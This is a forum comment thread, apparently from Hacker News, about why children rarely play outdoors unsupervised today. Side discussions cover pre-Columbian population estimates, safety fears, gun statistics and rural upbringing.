The population in all of the Americas, from Alaska to Patagonia, was somewhere around 50 million. All of Canada had about 500,000 people. Do you know how much forest there is in Canada?

There's a theory that early man had widespread effects on the environment using purposeful burning, but even if that's true (it's hard to tell the difference between lightning strikes and purposeful burns), it hardly amounts to "manicured and well cared for woods". Unless you are willing to give beavers an equal designation.

<comment><USER8> There's a lot of compelling theories in the book, 1491 [0] about how forests were modified in ways in which I elude to, and how the population of the Americas was much, much higher than just 50 million, and how the were civilization much earlier than what we had first thought.

If we just take east coast of Maryland, where the author grew up, the first explorers talk about villages that interconnected across the coastline, Chestnut and walnut trees everywhere, and established hunting grounds. Burning was an immensely useful tool to do this. Everyone had a fire starter.

Later on, early settlers saw something drastically different - a dying off population from diseases brought by Europeans that they had no defense towards. And that is why our estimates on the population of the Americas, and the level of which they modified the land could be really off.

[0] [https://www.amazon.com/1491-Revelations-Americas-Before- Colu...](https://www.amazon.com/1491-Revelations-Americas-Before- Columbus/dp/1400032059)

<comment><USER10> "much, much higher"? In that book Mann argues that the higher counts are more likely to be right. 50 million _is_ among the higher counts. The highest count reasonably argued for being just double that, so we're not talking about orders of magnitude difference.

The Americas were a vast, mostly empty (of humans) land. Except near the coasts.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER11> The essential question at the end, for parents caught in the bind: "Even if I do send them out, will there be anyone to play with?"

Free-range children are just rare these days.

<comment><USER12> My kids are like the Census Bureau: they go down the street knocking on doors, asking if there are any kids there. But, as much as I encourage them to do it, there's never anyone home even at the places where we know the kids live. Their schedules are structured and they spend all their time somewhere else.

My kids don't have any real friends except each other which I find a little sad.

</comment></comment><comment><USER13> There has been a lot of commentary about us being more paranoid about children's safety.

I think there are couple of factors that are responsible for this.

1) Couples in general have fewer children than we had in the past. If you have 1 child - a loss leaves you completely childless. If you have 5 children - <USER3> loss leaves with with 4 children.

2) There has been a remarkable drop in childhood disease mortality. In the past, when it was very likely that one or more of your children would die with a childhood disease, the 1 in a million chance of abduction is not that big of a deal. Now, we generally don't expect any of our children to die of infection or disease in childhood, and so the chance of abduction (while still the same or smaller than before) becomes comparatively larger.

<comment><USER14> It's not just children's safety. Even as crime rates and violence rates have decreased monotonically since at least the 1980s, people grow more and more clamorous about "safety" from essentially negligible causes of death like terrorism or assault rifles. We've spent billions of dollars on the TSA, which by all indicators doesn't even do much to prevent (the negligible amount of) terrorist activity. Similarly, in 2015, only 248 people were killed with rifles (no idea which percentage of those were homicides, and which percentage of those were assault rifles). Yet how much legislative time was wasted arguing about trying to ban them?

"Safety" has become somewhat of a "semantic stopsign" in political discourse.

<comment><USER15> I'm curious, where did you get the gun data? Most places I look at don't differentiate by gun type. (Which is strange, considering how much regulations differ by gun type.)

Anyway, usually it's roughly 60% suicide, 10% defense, 25% homicide, 5% accidental.

<comment><USER14> FBI. [https://www.quandl.com/data/FBI/WEAPONS11-US-Murders-by- Weap...](https://www.quandl.com/data/FBI/WEAPONS11-US-Murders-by-Weapon-Type)

The FBI and BJS usually have pretty good criminology data.

<comment><USER15> Wow, Quandl is AWESOME! Graphs, data export, programming language bindings...

</comment></comment></comment></comment></comment><comment><USER16> It's also worth mentioning the unmentionable[1]: the authors childhood was in a much more culturally homogenous environment.

[1] [https://books.google.com/books/about/E_Pluribus_Unum.html?id...](https://books.google.com/books/about/E_Pluribus_Unum.html?id=6VRCMwEACAAJ)

<comment><USER17> It sounds like you've got a point to make. Why quail at the thought of making it?

<comment><USER18> The author of that paper studied the breakdown of community and found (to his dismay, and among other findings) that social trust diminished with increased ethnic diversity.

<comment><USER19> I seriously doubt this theory simply because in many countries there was no increase in ethnic diversity (in ex-Yugoslavia, where I live, there was even a decrees), and still exactly the same thing happened. It's the consequence of increased urbanisation of our lives and environment. In many truly rural areas kids are still as free-range as always.

<comment><USER20> In many rural areas, children are in effect pseudo-adults as soon as they can be put to work. If you can be trusted to drive the tractor with the mowing machine hitched on, or run the woodsplitter, then you can probably be trusted to play in the backyard with your BB guns, .22s, knives and lighters without an adult sitting on your shoulder every second.

</comment></comment></comment></comment></comment><comment><USER21> At 24, kids are a long way off for me. But when they do come to pass, my hope is that I can give them a childhood like the one I had: full of rocks, sticks, mud, and band-aids. Thank you for the reminder of how important that is to strive for.

<comment><USER22> just teach them safety, and figure out when you can trust them to keep safe.

Even 25 years ago, weirdos existed. As a ~10 year old, walking home one day, a stranger stopped his car, leaned out, and asked me to go get coffee with him.

<comment><USER23> Bizarre, what 10 year old drinks coffee?

<comment><USER22> I know, 10ish year old me just remembers him as an old guy (probably in his 40s).

Quite a small town as well.

</comment></comment></comment></comment><comment><USER24> Is it that today's children don't value outside activities because it is too enjoyable to be indoors ? Which leads to obesity that makes outdoor play less fun and more dangerous. The danger coming from weight variance (e.g., it's risky for a 60lb 12 year old to play with a 200lb 12 year old).

The streets throughout NYC were depressing and violent when I was growing up. But those working class homes were even more depressing and there were only a handful of TV channels. So we had to go outside to keep our sanity. Even if I wanted to play a video game, I'd have to ride my bike to get a pirated copy or to commute to a friend's house. So you'd see kids outside at the very least because they had somewhere to go. Even having a job was common.

Now all those homes have been comfortably remodeled with air-conditioning, high-speed internet, and countless TV channels.

Coincidentally, the first household to get cable television and a video game console on my block also had the first notably obese child.

<comment><USER25> It's true that life indoors in the 60s was hopelessly boring. TV was 3 channels with bad reception showing soap operas or Jack Lalane exercise shows.

For something to do, you had to go outside and meet up with the other kids outside, then go looking for trouble (!).

<comment><USER26> Yes, I remember when being sent to your bedroom was a punishment, now you can't get your children out of their rooms.</comment></comment></comment>